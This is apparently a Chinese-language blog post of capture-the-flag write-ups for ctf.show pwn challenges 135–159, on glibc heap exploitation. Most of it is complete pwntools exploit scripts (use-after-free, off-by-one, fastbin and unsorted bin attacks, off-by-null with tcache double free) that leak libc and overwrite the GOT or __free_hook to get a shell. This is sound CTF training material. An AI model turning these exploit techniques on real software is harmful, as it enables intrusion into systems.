先把这篇博客放在这里有时间就更。主要是太懒了,又是颓废的一天。
pwn135
这题主要是让我们知道realloc,calloc,malloc三个函数的作用自己用gdb调试就行了。
运行输入4就能拿到flag
pwn136
free堆块反汇编代码简单易懂,直接输入4就能拿到flag。
至于free的原理自己百度就行了,太简单不想打字了。
pwn137
关于**sbrk()函数和brk()**函数可以参见《CTF竞赛权威指南》第11章。
相关链接:brk和sbrk
pwn138
当用户申请内存过大时,ptmalloc2会选择通过mmap()函数创建匿名映射段供用户使用,并通过unmmap()函数进行回收。
详细内容参见:《CTF竞赛权威指南 PWN篇》。
相关链接:mmap函数的详细讲解
【Linux系统编程】25.mmap、munmap
pwn139-pwn140.(不想写,直接运行拿flag)
pwn141
简单的UAF,不写了
add(32, b'aaaa')
add(32, b'bbbb')
delete(0)
delete(1)
add(0x8, p32(0x8049684))
show(0)
pwn 142
edit函数中存在off-by-one漏洞。
exp如下:
from pwn import *
from LibcSearcher import *
# context(log_level='debug',arch='i386', os='linux')
context(log_level='debug',arch='amd64', os='linux')
pwnfile = "./pwn"
io = remote("pwn.challenge.ctf.show", 28125)
# io = process(pwnfile)
elf = ELF(pwnfile)
libc = ELF("./libc/buu_libc-2.27-64.so")
s = lambda data :io.send(data)
sa = lambda delim,data :io.sendafter(delim, data)
sl = lambda data :io.sendline(data)
sla = lambda delim,data :io.sendlineafter(delim, data)
r = lambda num=4096 :io.recv(num)
ru = lambda delims :io.recvuntil(delims)
itr = lambda :io.interactive()
uu32 = lambda data :u32(data.ljust(4,b'\x00'))
uu64 = lambda data :u64(data.ljust(8,b'\x00'))
leak = lambda name,addr :log.success('{} = {:#x}'.format(name, addr))
lg = lambda address,data :log.success('%s: '%(address)+hex(data))
gadget = [0x45216,0x4526a,0xf02a4,0xf1147]
def add(size,data):
sla(b"Your choice :",b"1")
sla(b"Size of Heap : ",str(size))
ru(b"Content of heap:")
s(data)
def edit(idx,data):
sla(b"Your choice :",b"2")
sla(b'Index :',str(idx))
ru(b"Content of heap : ")
s(data)
def show(idx):
sla(b"Your choice :",b"3")
sla(b'Index :',str(idx))
def free(idx):
sla(b"Your choice :",b"4")
sla(b'Index :',str(idx))
ptr_chunk = 0x6020A0
free_got = elf.got['free']
puts_addr = elf.plt['puts']
add(0x18,b"aaa")
add(0x18,b"aaa")
add(0x18,b"/bin/sh;")
edit(0,b"c"*0x18+p8(0x41))
free(1)
add(0x38,p64(0)*3+p64(0x21)+p64(0x100)+p64(free_got))
show(1)
free_addr = u64(io.recvuntil(b"\x7f")[-6:].ljust(8,b"\x00"))
libc = LibcSearcher("free",free_addr)
libc_base = free_addr-libc.dump("free")
system_addr = libc_base+libc.dump("system")
print("libc_base------------->:",hex(libc_base))
edit(1,p64(system_addr))
free(2)
# gdb.attach(io)
itr()
pwn 143
这里有后门函数,一开始没看到,打完才看到,所以我这里用的是常规方法。注意一下在got表中free的下一个地址是puts函数的,所以再改完free函数的got表时,还要把下一个地址换成puts函数的,不然要报错
from pwn import *
from LibcSearcher import *
# context(log_level='debug',arch='i386', os='linux')
context(log_level='debug',arch='amd64', os='linux')
pwnfile = "./pwn"
io = remote("pwn.challenge.ctf.show", 28307)
# io = process(pwnfile)
elf = ELF(pwnfile)
libc = ELF("./libc/buu_libc-2.23-64.so")
s = lambda data :io.send(data)
sa = lambda delim,data :io.sendafter(delim, data)
sl = lambda data :io.sendline(data)
sla = lambda delim,data :io.sendlineafter(delim, data)
r = lambda num=4096 :io.recv(num)
ru = lambda delims :io.recvuntil(delims)
itr = lambda :io.interactive()
uu32 = lambda data :u32(data.ljust(4,b'\x00'))
uu64 = lambda data :u64(data.ljust(8,b'\x00'))
leak = lambda name,addr :log.success('{} = {:#x}'.format(name, addr))
lg = lambda address,data :log.success('%s: '%(address)+hex(data))
gadget = [0x45216,0x4526a,0xf02a4,0xf1147]
def show():
sla(b"Your choice:",b"1")
def add(size,data):
sla(b"Your choice:",b"2")
sla(b"Please enter the length:",str(size))
ru(b"Please enter the name:")
s(data)
def edit(idx,size,data):
sla(b"Your choice:",b"3")
sla(b"Please enter the index:",str(idx))
sla(b"Please enter the length of name:",str(size))
ru(b"Please enter the new name:")
s(data)
def free(idx):
sla(b"Your choice:",b"4")
sla(b"Please enter the index:",str(idx))
fake_chunk = 0x6020A8-0x1b
free_got = elf.got['free']
puts_plt = elf.plt['puts']
add(0x60,b"aaaa")
add(0x60,b"aaaa")
add(0x60,b"/bin/sh;")
free(1)
edit(0,0x100,p64(0)*13+p64(0x71)+p64(fake_chunk))
add(0x60,b"aaaa")
add(0x60,b"a"*0xb+p64(free_got))
show()
free_addr = u64(io.recvuntil(b"\x7f")[-6:].ljust(8,b"\x00"))
libc_base = free_addr-libc.sym['free']
puts_addr = libc_base+libc.sym['puts']
system_addr = libc_base+libc.sym['system']
print("libc_base---------------->: ",hex(libc_base))
edit(0,0x100,p64(system_addr)+p64(puts_addr))
free(2)
# gdb.attach(io)
itr()
pwn 144
堆溢出+unsound bin attack ,简单题。
from pwn import *
from LibcSearcher import *
# context(log_level='debug',arch='i386', os='linux')
context(log_level='debug',arch='amd64', os='linux')
pwnfile = "./pwn"
io = remote("pwn.challenge.ctf.show", 28146)
# io = process(pwnfile)
elf = ELF(pwnfile)
libc = ELF("./libc/libc-2.23.so")
s = lambda data :io.send(data)
sa = lambda delim,data :io.sendafter(delim, data)
sl = lambda data :io.sendline(data)
sla = lambda delim,data :io.sendlineafter(delim, data)
r = lambda num=4096 :io.recv(num)
ru = lambda delims :io.recvuntil(delims)
itr = lambda :io.interactive()
uu32 = lambda data :u32(data.ljust(4,b'\x00'))
uu64 = lambda data :u64(data.ljust(8,b'\x00'))
leak = lambda name,addr :log.success('{} = {:#x}'.format(name, addr))
lg = lambda address,data :log.success('%s: '%(address)+hex(data))
gadget = [0x45216,0x4526a,0xf02a4,0xf1147]
def add(size,data):
sla(b"Your choice :",b"1")
sla(b"Size of Heap : ",str(size))
ru(b"Content of heap:")
s(data)
def edit(idx,size,data):
sla(b"Your choice :",b"2")
sla(b'Index :',str(idx))
sla(b"Size of Heap : ",str(size))
ru(b"Content of heap : ")
s(data)
def free(idx):
sla(b"Your choice :",b"3")
sla(b"Index :",str(idx))
add(0x70,b"aaaa")
add(0x80,b"aaaa")
add(0x70,b"aaaa")
magic_addr = 0x6020A0
free(1)
edit(0,0x100,b"a"*0x70+p64(0)+p64(0x91)+p64(0)+p64(magic_addr-0x10))
add(0x80,b"aaaa")
sl(b"114514")
# gdb.attach(io)
itr()
pwn 145(命令执行,自己调试就行)
pwn 146
运行直接拿,不懂的自己百度。
pwn 147-158(直接运行,不想写了)
pwn 159
漏洞点
这里可以看到read这里其实纯在一个off-by-one的漏洞,因为当我们输入的a2为2时理应只能读2个字符,但当v3等于1时还会再次读一个字符,导致多读了一个字符,存在off-by-one。但是最后又有一个 result = &a1[a2]; *result = 0;
这就导致了整个函数存在off-by-null。(当且仅当size=0xf8时存在)。
解题思路
首先这题是libc-2.27的存在tcachebins,我们得先泄露libc的地址才行。这里就要利用off-by-null的漏洞,利用unlink合并时unsorted bin的特性泄露mian_arenas。
for i in range(10):
add(0xf0,b"aaaa")
for i in range(6):
free(i)
free(9)
这里先创建10个chunk,因为tcachebins要填满7个才能进入unsorted bin。方便后续利用。然后再free掉7个chunk,这里free(9)时为了防止与top chunk合并。(如下图)
for i in range(6,9):
free(i)
for i in range(10):
add(0xf0,b"aaaa")
然后再free掉chunk6,chunk7,chunk8。这三个chunk会进入unsorted bin合并为0x300大小的chunk。之后再全部申请回来,可以看到chunk的布局已经变了,如下图。
for i in range(6):
free(i)
free(8)
free(7)
add(0xf8,b"aaaa")
free(6)
free(9)
for i in range(7):
add(0xf0,b"aaaa")
add(0xf0,b"bbbb")
show(0)
这里先free掉6个chunk,但没有free掉我们要操控的chunk6,7,8
然和free8让chunk7进入tcachebins,free7让chunk6进入unsorted bin。
然后申请回chunk7,这时候chunk8的size位已经被改了。然后再连续free两个,让chunk8进入unsorted bin。
到现在 我们要用的chunk6 ,chunk8,已经被真正free掉了,chunk7虽然也在unsorted bin中,但这个是被unlink合并了,并没有真正free
之后就是申请回7个chunk,再把chunk6申请回来,这时候main_arenas已经写进了chunk7。这时候show(0)就能打印出来了。
接下来就是常规的double free了。这里再申请0xf0大小的chunk我们就能拿到两个chunk7。
add(0xf0,b"bbbb")
free(0)
free(1)
free(9)
add(0xf0,p64(free_hook))
for i in range(2,9):
free(i)
for i in range(7):
add(0xf0,b"aaaas")
add(0xf0,p64(one_gadget))
最后double free改到free_hook处,写onegadget。
完整EXP
from pwn import *
from LibcSearcher import *
# context(log_level='debug',arch='i386', os='linux')
context(log_level='debug',arch='amd64', os='linux')
pwnfile = "./pwn"
# io = remote("pwn.challenge.ctf.show", 28210)
io = process(pwnfile)
elf = ELF(pwnfile)
libc = ELF("./libc/libc-2.27.so")
s = lambda data :io.send(data)
sa = lambda delim,data :io.sendafter(delim, data)
sl = lambda data :io.sendline(data)
sla = lambda delim,data :io.sendlineafter(delim, data)
r = lambda num=4096 :io.recv(num)
ru = lambda delims :io.recvuntil(delims)
itr = lambda :io.interactive()
uu32 = lambda data :u32(data.ljust(4,b'\x00'))
uu64 = lambda data :u64(data.ljust(8,b'\x00'))
leak = lambda name,addr :log.success('{} = {:#x}'.format(name, addr))
lg = lambda address,data :log.success('%s: '%(address)+hex(data))
gadget = [0x4f2c5,0x4f322,0x10a38c,0xf1147]
def add(size,data):
sla(b"> ",b"1")
sla(b"> ",str(size))
ru(b"> ")
sl(data)
def free(idx):
sla(b"> ",b"2")
sla(b"> ",str(idx))
def show(idx):
sla(b"> ",b"3")
sla(b"> ",str(idx))
for i in range(10):
add(0xf0,b"aaaa")
for i in range(6):
free(i)
free(9)
for i in range(6,9):
free(i)
for i in range(10):
add(0xf0,b"aaaa")
for i in range(6):
free(i)
free(8)
free(7)
add(0xf8,b"aaaa")
free(6)
free(9)
for i in range(8):
add(0xf0,b"aaaa")
show(0)
main_arena = uu64(r(6))
libc_base = main_arena-0x10-96-libc.sym['__malloc_hook']
one_gadget = libc_base+gadget[1]
free_hook = libc_base+libc.sym['__free_hook']
print("libc_base-------------->: ",hex(libc_base))
add(0xf0,b"aaaa")
free(0)
free(9)
add(0xf0,p64(free_hook))
add(0xf0,b"aaaa")
for i in range(9):
free(i)
for i in range(7):
add(0xf0,b"aaaa")
add(0xf0,p64(one_gadget))
free(1)
# gdb.attach(io)
itr()